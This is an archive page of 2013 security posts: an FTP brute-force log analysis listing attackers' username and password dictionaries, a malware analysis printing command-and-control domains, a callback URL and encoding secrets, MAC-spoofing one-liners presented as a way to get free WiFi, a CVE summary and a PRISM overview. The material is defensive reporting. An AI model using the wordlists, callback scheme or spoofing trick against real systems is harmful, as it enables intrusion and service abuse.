Monthly Archives: June 2013

FTP Brute Force Attacks?

Hacking websites using FTP access has been one of the most popular attack vectors during the last few year. I can still see many massive site infections done via FTP.

In most cases, the first step of such attacks is stealing FTP credentials from local computers of webmasters. Back in 2009, I described how PC malware stole passwords saved in popular FTP clients such as FileZilla, CuteFTP, SmartFTP and many more. This is still a prevailing vector. More exotic password theft methods include keyloggers, FTP traffic sniffing, and stealing user databases of hosting providers who prefer convenience over security and store actual client passwords in plain text or slightly encrypted (instead of storing only hashes of passwords).

If you ask regular webmasters how hackers can break into their server via FTP, many of them will answer that hackers could guess the password (hence the need to have hard-to-guess passwords). Of course, it is hard to guess whatever password at the first attempt, so one might expect to see multiple such attempts (so-called brute force attacks) before a password is cracked and hackers get access to a server. However in real life, I haven’t come across such FTP brute force attacks. Until this month…

FTP log analysis

I helped a webmaster of a hacked site and, as always, requested recent access and FTP logs to figure out how the site was hacked. The FTP logs clearly showed that someone used a valid username and passwords to upload infected files to the server. This happened several times a day (constant reinfections) from different IPs in different countries. Quite a typical picture.

What was untypical were requests that looked like a brute force attack. They came from different IPs and each IP tried to login using many invalid usernames.

Choice of usernames in brute force attacks.

Here are just a few such sessions and the usernames they tried.

198.50.144.128 (Canada Montreal Ovh Hosting Inc) – 165 login attempts within 70 seconds.

second_level_domain
second_level_doma
webmaster

where <second_level_domain> should be replaced with a real second level domain of a site. E.g. in case of “example.com” the second_level_domain will be example.

This attack used the <domain name> as a username and webmaster as an alternative (supposedly default) username, and tried multiple popular passwords from some dictionary.

46.29.255.84 (United States Lombard Deepak Mehta Fie) – 9 login attempts at a rate of 2 a second:

second_level_domain
second_level_domainsecond_level_domain
second_level_domainftp
second_level_domainroot
second_level_domainadmin
second_level_domainuser

In this case, the attacker used domain name derivatives (appending words like ftp, admin, user) as usernames, and the passwords probably matched the usernames (e.g. exampleftp/exampleftp). A few times they re-tried the same usernames. Probably with slightly different passwords.

110.85.113.113, 110.86.165.187, 117.26.118.189, 117.26.119.68 (all from China Fuzhou Chinanet Fujian Province Network) — 76 login attempts in less than 5 minutes from 4 IPs.

000000
111111
112233
123
123321
123456
12345678
123456789
123654
123abc
147258
147369
222222
321123
333333
444444
5201314
521521
555555
666666
777777
888888
987654321
999999
abc123
admin
admin111
admin123
admin222
admin321
admin333
admin444
admin555
admin666
admin777
admin888
admin999
asd123
asdasd
second_level_domain
second_level_domaintop_level_domain
data123
qwe123
qwerty
test
web
web123
www
www123
zxc123
zxcvbn

Distributed attack

The last one was obviously a distributed brute force attack where bots from 4 different IPs worked simultaneously and in sync. E.g. one checked “111111” then another checked “112233“, then third checked “222222” and “333333“, then fourth checked “444444“, and so on. Most likely this attack also assumed that some sites may use the same words both as a username and a password.

The above three attack took place within 26 hours. Each of them used different approach to choosing usernames and passwords, and they came from different parts of the Internet. It means that there is a real interest in FTP brute force attacks among cyber criminals.

Why didn’t I come across such attacks before?

After all, brute-force attacks on WordPress and Joomla admin interfaces proved to be very efficient. What makes them so efficient is the fact that there are many millions of WP and Joomla sites out there, and out of those millions there will always be enough sites whose admins were thoughtless enough to choose weak passwords. That’s why I see hundreds or even thousands of login attempts per day in access logs of almost every WordPress and Joomla site I work with. And unfortunately, some of those site were hacked as a results of the brute force attacks.

One might think that FTP is an even better target for brute force attacks since almost every site has FTP access so the number of victims with weak FTP passwords should be substantially larger than the number of WP an Joomla sites with crackable passwords. However it’s not that easy. You should not forget than in case of WP and Joomla, hackers assume that site administrators use the CMS default usernames (admin for WP and administrator for Joomla) so they only need to guess their passwords. But in case of FTP, the username is not known. There is no default FTP username. This is especially true for shared hosting environments where every client must use a unique username. So you need to guess both username and password in order to get access to a site, which dramatically reduces efficiency of brute force attacks (don’t forget the network latency of each FTP request which prevents from testing millions of variants per seconds that one might expect in a latency-free environment).

In order to try the brute force approach, hackers need to narrow down their attack to the simplest cases and hope that the Internet is so big that even a tiny fraction of sites with hackable FTP credentials will worth the effort. And the Internet is really big (there are more than 100,000,000 .com domains alone) and to have better results one needs to attacks as many of them as possible, so the set of username/password pairs should be kept as tight as possible to provide results in reasonable time. Based on the above FTP log analysis, the current approach is to target:

  • sites that use their domain name or some easy derivative from a domain name as a username along with a weak password.
  • sites that use the same simple words for both usernames and passwords.

Another reason why FTP brute-force attacks are not popular is the FTP logins can be tracked by server administrators who can, for example limit number of consecutive failed login attempts per IP address and then block the offending IPs (for example, using the fail2ban tool).

I also guess that many server and client bots might simply lack the FTP brute force functionality…

Do you have any better explanation?

Why did I see the FTP brute force attacks on that particular site?

I have two hypothesis:

1. Massive FTP brute force attacks are in the proof of concept stage. A few years ago WordPress brute force attacks were quite rare too, but once criminals figured out that they could be very successful if you had enough resources to attack a large number of site, such attacks went mainstream. So maybe if FTP brute force attacks eventually prove to deliver good results, we’ll see a flood of login attempts in FTP logs of most sites (I hope not).

2. In the beginning of the post, I forgot to mention about one more failed login attempt. It used the “anonymous” username and the 66.249.72.181 IP address. The thing is the IP address belongs to Google, more specifically to Googlebot. This means that there are some FTP links (e.g. ftp://example.com ) to that site on the web and Googlebot tries to crawl them using the default anonymous username which normally doesn’t require a password and is used for public FTP sites. Here is the explanation from John Mueller (Webmaster Trends Analyst at Google):

When we find links to FTP content, we’ll generally attempt to crawl those URLs. If they’re publicly accessible and return normal content, we may choose to index them as well. While it’s not that common, there are occasionally queries where a file on an FTP server is a good result.

So my guess is such attacks may be limited to the sites that have direct FTP links to them on the web.

Do you have any better explanation?

Just in case. No, the original successful FTP hack that I investigated was not a result of a brute force attack. The username was not obvious and the password was strong. The attackers used the tried-and-true credential theft approach.

To webmasters

Regardless of the chances to see massive FTP brute force attacks in future, the described example should be considered as yet another lesson to all webmasters, who should realize all risks associated with FTP.

  1. Carefully choose both username and password.
    • They should not be the same
    • The username shoudn’t be easy to guess (e.g. your site domain name is not the best choice)
    • The password should be strong.
  2. Don’t save passwords in FTP programs. Configure them so that they ask for a password every time you connect to your site. If you work with multiple sites and/or don’t like the idea of memorizing many passwords, consider using password managers like KeePass or LastPass — they save your passwords much more securely.
  3. Consider using SFTP instead of FTP that sends your passwords in plain text (they can be easily intercepted, for example, when you use public Wi-Fi). Most popular FTP programs support SFTP, so the switch should be painless. If you manage your own server, consider not installing an FTP server altogether (or uninstalling it now if there are no others users who can’t use SFTP).
  4. If you manage a server, consider blocking multiple consecutive failed login attempts at a firewall level (tools like fail2ban may help). Moving FTP to a custom port may also help.
  5. Minimize risks of infecting your local computer (which brings you a step closer to password theft). Make sure that all software on your computer is up-to-date. This includes all OS security updates, all browser updates and all browser plugin updates. Here you can check whether your browser is vulnerable:

Related posts:



Liam Randall & Seth Hall on Bro IDS, Drunken Security News – Episode 336 – June 20, 2013

Bro is a passive, open-source network traffic analyzer and was originally developed by Vern Paxson, who continues to lead the project now jointly with a core team of researchers and developers at the International Computer Science Institute in Berkeley, CA; and the National Center for Supercomputing Applications in Urbana-Champaign, IL. Liam Randall and Seth Hall are on to give us additional insight into how Bro IDS is used.

Interview with Pete Lindstrom from Spire Security – Episode 336 – June 20, 2013

Pete Lindstrom is Principal and Vice President of Research for Spire Security, an industry analyst firm providing analysis and research in the information security field. Pete operated as the deputy to the Chief Information Security Officer for Wyeth Pharmaceuticals and honed his finance and technology skills in the United States Marine Corps where he was one of two disbursing officers in theater during the First Gulf War.

Trojan.APT.Seinup Hitting ASEAN

1. Executive Summary

The FireEye research team has recently identified a number of spear phishing activities targeting Asia and ASEAN. Of these, one of the spear phishing documents was suspected to have used a potentially stolen document as a decoy. The rich and contextual details (body and metadata) which are not available online lead us to believe this was stolen. This decoy document mentioned countries such as Brunei, Cambodia, Indonesia, Laos, Malaysia, Myanmar, Philippines, Singapore, Thailand, and Vietnam, which leads us to suspect that these countries are targeted. As the content of this decoy document is suspected to be a stolen sensitive document, the details will not be published.

This malware was found to have used a number of advance techniques which makes it interesting:

  1. The malware leverages Google Docs to perform redirection to evade callback detection. This technique was also found in the malware dubbed “Backdoor.Makadocs” reported by Takashi Katsuki (Katsuki, 2012).
  2. It is heavily equipped with a variety of cryptographic functions to perform some of its functions securely.
  3. The malicious DLL is manually loaded into memory which hides from DLL listing.

As depicted in the diagram below, the spear phishing document (which exploits CVE-2012-0158) creates a decoy document and a malware dropper named exp1ore.exe. This dropper will then drop wab.exe (Address Book Application) and wab32res.dll (malicious DLL) inside the temp folder. By running wab.exe, the malicious DLL named wab32res.dll (located within the same folder) will be loaded using DLL side-loading technique. This will in turn install a copy of wab32res.dll as msnetrsvw.exe inside the windows directory to be registered as Windows service. By registering as a Windows service, it allows the malware to survive every reboot and persist on the network.

1.MalwareFlow

Figure 1 Infection Flow

This malware is named “Trojan.APT.Seinup” because one of its export functions is named “seinup”. This malware was analysed to be a backdoor that allows the attacker to remote control the infected system.

2.ExportedFunctions

Figure 2 Exported Functions

2. Related APT Domain and MD5

Based on our threat intelligence and reverse-engineering effort, below are some related domain and MD5 sums. Please note that some of the domain/IP association may change.

2.1. Related Domain

Domain/URL IP Country Comments
elizabearden.com elizabearden.com 124.172.243.211 124.172.243.211 CN CN Registrar: XIN NET TECHNOLOGY CORPORATIONEmail: liangcheng04@sina.com Registrar: XIN NET TECHNOLOGY CORPORATIONEmail: liangcheng04@sina.com
dnsserviceonline.com dnsserviceonline.com 50.117.115.83
50.117.115.84
50.117.120.235
69.46.84.51
50.117.115.83
50.117.115.84
50.117.120.235
69.46.84.51
CN CN Registrar: XIN NET TECHNOLOGY CORPORATIONEmail: liangcheng04@sina.com Registrar: XIN NET TECHNOLOGY CORPORATIONEmail: liangcheng04@sina.com
symteconline.com symteconline.com 175.100.206.183 175.100.206.183 CN CN Registrar: XIN NET TECHNOLOGY CORPORATIONEmail: Smartwise9851@yahoo.com Registrar: XIN NET TECHNOLOGY CORPORATIONEmail: Smartwise9851@yahoo.com
winshell.net winshell.net 58.64.190.34 58.64.190.34 HK HK Registrar: SHANGHAI MEICHENG TECHNOLOGY INFORMATION DEVELOPMENT CO., LTD.Email:
richardmatind@yahoo.com
Registrar: SHANGHAI MEICHENG TECHNOLOGY INFORMATION DEVELOPMENT CO., LTD.Email:
richardmatind@yahoo.com
philnewsonline.com philnewsonline.com 50.93.198.128 50.93.198.128 US US Registrar: GODADDY.COM, LLCEmail: woooyeahh11@yahoo.com Registrar: GODADDY.COM, LLCEmail: woooyeahh11@yahoo.com
www.info-week.com www.info-week.com 173.254.197.213 173.254.197.213 US US Registrar: GODADDY.COM, LLCEmail: woooyeahh11@yahoo.com Registrar: GODADDY.COM, LLCEmail: woooyeahh11@yahoo.com
go-twitter.com go-twitter.com 50.93.198.113 50.93.198.113 US US Registrar: GODADDY.COM, LLCEmail: woooyeahh11@yahoo.com Registrar: GODADDY.COM, LLCEmail: woooyeahh11@yahoo.com

2.2. Associated Files

Name MD5 Comments
Spear-phishing document and decoy document Spear-phishing document and decoy document CONFIDENTIAL CONFIDENTIAL CONFIDENTIAL CONFIDENTIAL
iexp1ore.exe iexp1ore.exe 137F3D11559E9D986D510AF34CB61FBC 137F3D11559E9D986D510AF34CB61FBC Dropper Dropper
wab.exe wab.exe CE67AAA163A4915BA408B2C1D5CCC7CC CE67AAA163A4915BA408B2C1D5CCC7CC Benign Address Book Application Benign Address Book Application
wab32res.dll wab32res.dll FB2FA42F052D0A86CBDCE03F5C46DD4D FB2FA42F052D0A86CBDCE03F5C46DD4D Malware to be side loaded when wab.exe is launched. Malware to be side loaded when wab.exe is launched.
msnetrsvw.exe msnetrsvw.exe FB2FA42F052D0A86CBDCE03F5C46DD4D FB2FA42F052D0A86CBDCE03F5C46DD4D Malware to be installed as a service. Note: This is the same as wab32res.dll. Malware to be installed as a service. Note: This is the same as wab32res.dll.
    baf227a9f0b21e710c65d01f2ab01244 baf227a9f0b21e710c65d01f2ab01244 Calls to www.elizabearden.com:80 Calls to www.elizabearden.com:80
    0845f03d669e24144df785ee54f6ad74 0845f03d669e24144df785ee54f6ad74 Calls to www.dnsserviceonline.com:80 Calls to www.dnsserviceonline.com:80
    d64a22ea3accc712aebaa047ab818b07 d64a22ea3accc712aebaa047ab818b07 Calls to www.elizabearden.com:80 Calls to www.elizabearden.com:80
    56e6c27f9952e79d57d0b32d16c26811 56e6c27f9952e79d57d0b32d16c26811 Calls to www.elizabearden.com:80 Calls to www.elizabearden.com:80
    cdd969121a2e755ef3dc1a7bf7f18b24 cdd969121a2e755ef3dc1a7bf7f18b24 Calls to www.elizabearden.com:80 Calls to www.elizabearden.com:80
    709c71c128a876b73d034cde5e3ec1d3 709c71c128a876b73d034cde5e3ec1d3 Calls to www.dnsserviceonline.com:80 Calls to www.dnsserviceonline.com:80

3. Interesting Technical Observations

3.1. Redirection Using Google Docs

By connecting the malicious server via Google Docs, the malicious communication is protected by the legitimate SSL provided by Google Docs (see Figure below). One possible way to examine the SSL traffic is to make use of a hardware SSL decrypter within an organisation. Alternatively, you may want to examine the usage pattern of the users. Suppose a particular user accesses Google Docs multiple times a day, the organization’s Incident Response team may want to dig deeper to find out if the traffic is triggered by a human or by malware.

Retrieve Command

Figure 3 Retrieve Command via Google Docs

Below is the code that is used to construct a URL that retrieves command via Google Docs. First, the malicious URL is constructed and then encoded. Next, the malware simply leverages the Google Docs viewer to retrieve the command from the malicious server (see Figure below). 4.GoogleDocs

Figure 4 View Command via GoogleDocs

3.2. Zero-Skipping XOR Encryption

The shellcode encryption technique is fairly standard. The shellcode has a decryption stub which decrypts its body using the XOR key 0x9E, and this shellcode is used to extract exp1ore.exe(malware) and Wor.doc (benign document).

The exp1ore.exe and Wor.doc were found within the spear phishing document encrypted using the same key (0xFC) and technique. The XOR key decrypts only a non-zero byte (see Figure 5). This prevents statistical methods of recovering the XOR key. The encrypted executable file and benign document were identified to be located inside the spear phishing document at offsets 0x2509 and 0x43509 respectively.

5.ZeroSkipping

Figure 5 Zero Skipping XOR Encryption

Even though statistical methods may not be useful in identifying the XOR key as the zero bytes are not encrypted, we could use some of the “known” strings below to hunt for the XOR key in this situation. By sliding the known string across the array of bytes to perform a windowed XOR, the key would be revealed when the encoded data is XORed with the known string.

  • “This program cannot be run in DOS mode”
  • “KERNEL32.dll”
  • “LoadLibraryA”

3.3. Deployment of Various Cryptographic Functions

3.3.1. Secure Callback

The malware performs the callback in a secure manner. It uses a custom Base64 map to encode its data, and creates a salted digital thumbprint to allow validation of data.

Below describes the steps to validate a callback using an example of the following URL:

hxxp://www.elizabearden.com/waterphp/BYyH.php?dEIXozUlFzx= 5P &wDq= 6QeZky42OCQOLQuZ6dC2LQ7F56iAv6GpH6S+w8npH5oAZk== &k4fJdSp7= cc3237bc79192a096440faca0fdae10 &GvQF2lotIr5bT2= 349118df672db38f9e65659874b60b27

The URL could be generalised as follows:

Domain/<PHP>?<rand 11-13 char>= <A'>&<rand 3-5 char>= <B'>&<rand 7-9 char>= <C'>&<rand 14-16 chars>= <D'>

The definition of A’, B’, C’ and D’ are as follows:

Let H be the function which encodes binary into hexadecimal characters prepend with “%”, if it is not alphanumeric, dash, underscore or dot.

Let B64 be the base 64 encoder using the following custom map, "URPBnCF1GuJwH2vbkLN6OQ/5S9TVxXKZaMc8defgiWjmo7pqrAstyz0D+El3I4hY".

Let PT be the plain text which is in the form of "<HostName>[<RunType>]:<IPAddress>{1}", where HostName and IPAddress are string, and RunType is a character.

Let A be the random of 3 to 7 characters, and A' = H(A)

Let B be B64 (PT), and B' = H(B)

Let C be 32 char deliminator, and C' = H(C)

Let D be H( MD5 ( salt  + MD5 ( B64(PT) + A + C )  )   ), salt = "%^^*HFH)*$FJK)234sd2N@C(JGl2z94cg23"  , and D' = H(D)

Hence, in this case, the specific malicious URL could be applied as follows:

Domain/<PHP>  =  http://www.elizabearden.com/waterphp/BYyH.php

A’ = “5Pb

B’ = “6QeZky42OCQOLQuZ6dC2LQ7F56iAv6GpH6S%2Bw8npH5oAZk==

C’ = “cc3237bc79192a096440faca0fdae107

D’ = “ 349118df672db38f9e65659874b60b27  (This is the digital signature)

The hash could be verified as follow:

B64(PT) + A + C = “6QeZky42OCQOLQuZ6dC2LQ7F56iAv6GpH6S+w8npH5oAZk==” +  “5Pb” + “cc3237bc79192a096440faca0fdae107”

MD5 (B64(PT) + A + C) = “766cf9e96c1a508c59f7ade1c50ecd28”

MD5 (salt + MD5(B64(PT) + A + C))   = MD5 ( “%^^*HFH)*$FJK)234sd2N@C(JGl2z94cg23” + “766cf9e96c1a508c59f7ade1c50ecd28”)

= 349118df672db38f9e65659874b60b27 (This equals to D’, which means verified)

The encoded plain text (B) could be recovered:

B64(PT) = “6QeZky42OCQOLQuZ6dC2LQ7F56iAv6GpH6S+w8npH5oAZk==”;

PT = “MY_COMPUTER_NAME[F]:192.168.1.1{1}”, where “MY_COMPUTER_NAME” is the hostname, ‘F’ is the run type, “192.168.1.1” is the IP address.

Note: This example is mocked up using a dummy computer name and IP address.

The python code below could be used to decode the custom encoded string (see Figure below).

6.PythonCode

Figure 6 Python to Decode a Custom Base 64

3.3.2. Random Generator Using Mersenne Twister Algorithm

The malware was found to perform a callback at random intervals so as to evade network investigation when looking for network connections that are performed in a regular interval. Additionally, even the name of the parameters in the get string have a random length and name, which makes it hard to create a fix signature to detect such callbacks (see ‎3.3.1 to understand how a callback is created).

7.Mersenne_twister

Figure 7 Mersenne Twister Algorithm Seeding function

 3.4. In-Memory Only Malicious Code

On the disk, the malicious code is either encrypted or compressed to evade scanning using signature rules. Only upon being loaded into memory, does the malicious code (that appears to be in the form of a DLL) get manually loaded without the use of Windows 32 API. In this way, when an investigation is performed, the malicious DLL is not revealed. Additionally, it makes it much harder for analysis to be performed.

8.ZC_Loader

Figure 8 Segments in the memory which contains the malicious code

Taking a deeper look at the decrypted malicious code, this malware was found to contain at least the following functions:

  • Download file
  • Download and execute or load library
  • Change sleep duration
  • Open and close interactive sessions

4. Conclusion

Malware is increasingly becoming more contextually advanced. It attempts to appear as much as possible like legitimate software or documents. In this example, we would conclude the following.

  1. A potentially stolen document was used as a decoy document to increase its credibility. It is also a sign that the compromised organisations could be used as a soft target to compromise their business partners and allies.
  2. It is important to put a stop to the malware infection at the very beginning, which is the exploitation phase. Once a network is compromised, it is increasingly harder to detect such threats.
  3. Anti-incident response/forensic techniques are increasingly used to evade detection. It would require a keen eye on details and a wealth of experience to identify all these advance techniques.

5. Works Cited

Carnegie Mellon University. (n.d.). Retrieved from http://www.cs.cmu.edu/~fp/courses/15122-f10/misc/rand/mersenne.c0

Katsuki, T. (19 Nov, 2012). Malware Targeting Windows 8 Uses Google Docs. Retrieved from http://www.symantec.com/connect/blogs/malware-targeting-windows-8-uses-google-docs-0

I would like to thank several colleagues for their significant contributions on this post: Darien Kindlund, Ned Moran, Nart Villeneuve, and Thoufique Haq.

 

 

Episode #167: Big MAC

Hal checks into Twitter:

So there I was, browsing my Twitter timeline and a friend forwarded a link to Jeremy Ashkenas' github site. Jeremy created an alias for changing your MAC address to a random value. This is useful when you're on a public WiFi network that only gives you a small amount of free minutes. Since most of these services keep track by noting your MAC address, as long as you keep cycling you MAC, you can keep using the network for free.

Here's the core of Jeremy's alias:

sudo ifconfig en0 ether `openssl rand -hex 6 | sed "s/\(..\)/\1:/g; s/.$//"`

Note that the syntax of the ifconfig command varies a great deal between various OS versions. On my Linux machine, the syntax would be "sudo ifconfig wlan0 hw ether..."-- you need "hw ether" after the interface name and not just "ether".

Anyway, this seemed like a lot of code just to generate a random MAC address. Besides, what if you didn't have the openssl command installed on your Linux box? So I decided to try and figure out how to generate a random MAC address in fewer characters and using commonly built-in tools.

What does a MAC address look like? It's six pairs of digits with colons between. "Pairs of digits with colons between" immediately made me think of time values. And this works:

$ date +00:11:22:%T
00:11:22:11:23:08

Just print three pairs of fixed digits followed by "hh:mm:ss". I originally tried "date +%T:%T". But in my testing, the ifconfig command didn't always like the fake MAC addresses that were generated this way. So specifying the first few octets was the way to go.

The only problem is that this address really isn't all that random. If there were a lot of people on the same WiFi network all using this trick, MAC address collisions could happen pretty easily. Though if everybody chose their own personal sequence for the first three octets, you could make this a lot less likely.

The Linux date command lets you output a nine-digit nanoseconds value with "%N". I could combine that with a few leading digits to generate a pseudo-random sequence of 12 digits:

$ date +000%N
000801073504

But now we need to use the sed expression in Jeremy's original alias to put the colons in. Or do we?

$ sudo ifconfig wlan0 hw ether $(date +000%N)
$ ifconfig wlan0
wlan0 Link encap:Ethernet HWaddr 00:02:80:12:43:53
...

I admit that I was a little shocked when I tried this and it actually worked! I can't guarantee that it will work across all Unix-like operating systems, but it allows me to come up with a much shorter bit of fu compared to Jeremy's solution.

What if you were on a system that didn't have openssl installed and didn't have a date command that had nanosecond resolution? If your system has a /dev/urandom device (and most do) you could use the trick we used way back in Episode #85:

$ sudo ifconfig wlan0 hw ether 00$(head /dev/urandom | tr -dc a-f0-9 | cut -c1-10)
$ ifconfig wlan0
wlan0 Link encap:Ethernet HWaddr 00:7a:5f:be:a2:ca
...

Again I'm using two literal zeroes at the front of the MAC address, so that I create addresses that don't cause ifconfig to error out on me.

The expression above is not very short, but at least it uses basic commands that will be available on pretty much any Unix-like OS. If your ifconfig needs colons between the octets, then you'll have to add a little sed like Jeremy did:

$ sudo ifconfig wlan0 hw ether \
00$(head /dev/urandom | tr -dc a-f0-9 | sed 's/\(..\)/:\1/g;' | cut -c1-15)

$ ifconfig wlan0
wlan0 Link encap:Ethernet HWaddr 00:d9:3e:0d:80:57
...

Jeremy's sed is more complicated because he takes 12 digits and adds colons after each octet, but leaves a trailing colon at the end of the address. So he has a second substitution to drop the trailing colon. I'm using cut to trim off the extra output anyway, so I don't really need the extra sed substitution. Also, since I'm specifying the first octet outside of the "$(...)", my sed expression puts the colons in front of each octet.

So there you have it. There's a very short solution for my Linux box that has a date command with nanosecond resolution and a very forgiving ifconfig command. And a longer solution that should work on pretty much any Unix-like OS. But even my longest solution is surely going to look great compared to what Tim's going to have to deal with.

Tim wishes he hadn't checked into Twitter:

I'm so jealous of Hal. I think his entire command is shorter than the name of my interface. This command is painful, quite painful. I would very much suggest something like Technitium's Mac Address Changer, but since Hal set me up here we go...

To start of, we need to get the name of our target interface. Sadly, the names of the interfaces aren't as simply named as they are on a *nix box. Not only is the name 11 times longer, but it is not easy to type. If you run "ipconfig /all" you can find the name and copy/paste it. (By the way, I'm only going to use PowerShell here, the CMD.EXE version would be ugly^2).

PS C:\> $ifname = "Intel(R) 82574L Gigabit Network Connection"

The MAC address for each interface is stored somewhere in the registry under this even-less-easy-to-type Key:
HKLM:\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\[Some 4 digit number]\

First, a bit of clarification. Many people (erroneously) refer to Keys as the name/value pairs, but those pairs are actually called Values. A key is the container object (similar to a directory). How about that for a little piece of trivia?

With PowerShell we can use Get-ChildItem (alias dir, ls, gci) to list all the keys and then Get-ItemProperty (alias gp) to list the DriverDesc values. A simple Where-Object filter (alias where, ?) will find the key we need.

PS C:\> Get-ChildItem HKLM:\SYSTEM\CurrentControlSet\Control\Class\`{4D36E972-E325-
11CE-BFC1-08002bE10318`}\[0-9]*\ | Get-ItemProperty -Name DriverDesc |
? DriverDesc -eq "Intel(R) 82574L Gigabit Network Connection"

DriverDesc : Intel(R) 82574L Gigabit Network Connection
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SY...0318}\0010
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SY...0318}
PSChildName : 0010
PSProvider : Microsoft.PowerShell.Core\Registry

Note: the curly braces ({}) need to be prefixed with a back tick (`) so they are not interpreted as a script block.

So now we have the Key for our target network interface. Next, we need to generate a random MAC address. Fortunately, Windows does not requires the use of colons (or dots) in the MAC address. This is nice as it makes our command a little easier to read (a very very little, but we'll take any win we can). The acceptable values are between 000000000000 and fffffffffffe (ffffffffffff is the broadcast address and should be avoided). This is the range between 0 and 2^48-2 ([Math]::Pow(2,8*6)-2 = 281474976710654). The random number is then formatted as a 12 digit hex number.

PS C:\> [String]::Format("{0:x12}", (Get-Random -Minimum 0 -Maximum 281474976710655))
16db434bed4e
PS C:\> [String]::Format("{0:x12}", (Get-Random -Minimum 0 -Maximum 281474976710655))
a31bfae1296d

We have a random MAC address value and we know the Key, now we need to put those two pieces together to actually change the MAC address. The New-ItemProperty cmdlet will create the value if it doesn't exist and the -Force option will overwrite it if it already exists. This results in the final version of our ugly command. We could shorten the command a little (very little) bit, but this is the way it's mother loves it, so we'll leave it alone.

PS C:\> ls HKLM:\SYSTEM\CurrentControlSet\Control\Class\`{4D36E972-E325-11CE-BFC1-
08002bE10318`}\0*\ | Get-ItemProperty -Name DriverDesc | ? DriverDesc -eq
"Intel(R) 82574L Gigabit Network Connection" | New-ItemProperty -Name
NetworkAddress -Value ([String]::Format("{0:x12}", (Get-Random -Minimum 0
-Maximum 281474976710655))) -PropertyType String -Force

You would think that after all of this mess we would be good to go, but you would be wrong. As with most things Windows, you could reboot the system to have this take affect, but that's no fun. We can accomplish the same goal by disabling and enabling the connection. This syntax isn't too bad, but we need to use a different long name here.

PS C:\> netsh set interface name="Wired Ethernet Connection" admin=DISABLED
PS C:\> netsh set interface name="Wired Ethernet Connection" admin=ENABLED

At this point you should be running with the new MAC address.

And now you can see why I recommend a better tool to do this...and why I envy Hal.

EDIT:
Andres Elliku wrote in and reminded me of the new NetAdapter cmdlets in version 3. Here is his response.

This is directed mainly to Tim as a suggestion to decrease his pain. :) (Tim's comment: for this I'm thankful!)

Powershell has included at least since version 2.0 the NetAdapter module. This means that in Powershell you could set the mac aadress with something like:

PS C:\> Set-NetAdapter -Name "Wi-Fi" -MacAddress ([String]::Format("{0:x12}", 
(Get-Random -Minimum 0 -Maximum 281474976710655))) | Restart-NetAdapter

NB! The adapter name might vary, but usually they are still pretty short.

The shorter interface names is one of my favorite features of Windows 8 and Windows 2012. Also, with these cmdlets we don't need the name if the device (Intel blah blah blah) but the newly shortened interface name. Great stuff Andres. Thanks for writing in! -Tim

EDIT 2:

@PowerShellGuy tweeted an even shorted version using the format operator and built-in byte conversion:

PS C:\> Set-NetAdapter "wi-fi" -mac ("{0:x12}" -f (get-random -max (256tb-1))) | 
Restart-NetAdapter

Well done for really shortening the command -Tim

CVE-2013-3343 (air, air_sdk, flash_player)

Adobe Flash Player before 10.3.183.90 and 11.x before 11.7.700.224 on Windows, before 10.3.183.90 and 11.x before 11.7.700.225 on Mac OS X, before 10.3.183.90 and 11.x before 11.2.202.291 on Linux, before 11.1.111.59 on Android 2.x and 3.x, and before 11.1.115.63 on Android 4.x; Adobe AIR before 3.7.0.2090 on Windows and Android and before 3.7.0.2100 on Mac OS X; and Adobe AIR SDK & Compiler before 3.7.0.2090 on Windows and before 3.7.0.2100 on Mac OS X allow attackers to execute arbitrary code or cause a denial of service (memory corruption) via unspecified vectors.

Looking Through the Cloudy PRISM

As you have no doubt heard, a lot of fuss has been made over the past couple days involving both NSA, Verizon, and Facebook, as well as several other companies and governments. Here, we want to provide a concise overview of the information available at this point, along with some links to additional reading about the program that is known as “PRISM”.

On June 6, 2013, the Guardian published an article that suggested a classified order was issued on April 25, 2013 that allowed the United States government to collect data until July 19, 2013 and then hand it over to the NSA. This order was issued to Verizon, and it’s existence was not allowed to be spoken of. Currently, the documents revealed only cover Verizon, but there may have been similar orders involving other companies, not just ones that provide phone service. PRISM, a program allowing the NSA access to company data, was originally enabled in December of 2007 by President Bush under a U.S. surveillance law and then renewed by President Obama in December of 2012. This program was started to aid anti-terrorism efforts and there are claims by the government that it has already prevented a terrorist plot in Colorado.

These documents reveal that the NSA is performing massive data mining covering millions of U.S. citizens. Wired reported the collected data includes phone numbers of both parties involved in the phone call, the time and duration of the call, the calling card numbers used in the call, and the International Mobile Subscriber Identity (IMSI) number which applies to mobile callers. The location of the calls may have been recording using cell tower data. Data that was NOT collected includes names, addresses, account information, and recordings of call content. There is heated debate whether this metadata is sensitive or not. On the one hand, no names or call content suggests that your fundamental privacy is intact. On the other hand, consider that the government knows you “spoke with an HIV testing service, then your doctor, then your health insurance company in the same hour. But they don’t know what was discussed.”

Edward Snowden has been identified as the whistleblower who released the documents that exposed this classified order. He had access to these documents as an employee for the NSA, which he had been working for over last four years as a contractor from outside organizations, including Booz Allen and Dell. When Snowden released the documents he stated, “I can’t allow the US to destroy privacy and Internet freedom.”

This article by the Guardian highlights multiple comments made by President Obama about the issue. He called this a “very limited issue” when discussing these disclosures of the NSA accessing phone data. In an attempt to deflect criticism, the President also stated that he had privacy concerns regarding private corporations as they collect more data than the government.

Both Facebook and Google denied any previous knowledge of the PRISM surveillance program after concerns they may have been part of the program. Many other technology companies thought be be part of PRISM issued similar statements saying that they did not allow the government “direct access” to their systems. However, theNY Times reports that Google, Microsoft, Apple, Facebook, Yahoo, AOL, and Paltalk all negotiated with the government and were required to share information due to theForeign Intelligence Surveillance Act (FISA). The Guardian also states that Microsoft has been a part of this information sharing program since the beginning in December of 2007 and was joined by Yahoo in 2008, Google, Facebook and PalTalk in 2009, YouTube in 2010, Skype and AOL in 2011, and Apple in 2012. At this point, it is a game of “who do you trust?” The government who finds such data incredibly valuable, or the corporations that sometimes rely on such data for their business model (e.g. Facebook).

In an article by Mark Jaquith, he mentions how important the details are in this situation. There are two different reports on how PRISM actually works; one says the government can directly and unilaterally access company servers to take data and the other is just an easier way to transfer data requested by court orders. The majority of reports are pointing toward the second method describing the way that PRISM works. If this is true, the transfer of data is moderated and indirect making it basically a lock box to securely pass information through. Now, that this has been brought to light we hope more details will continue come to the surface to provide clarity.

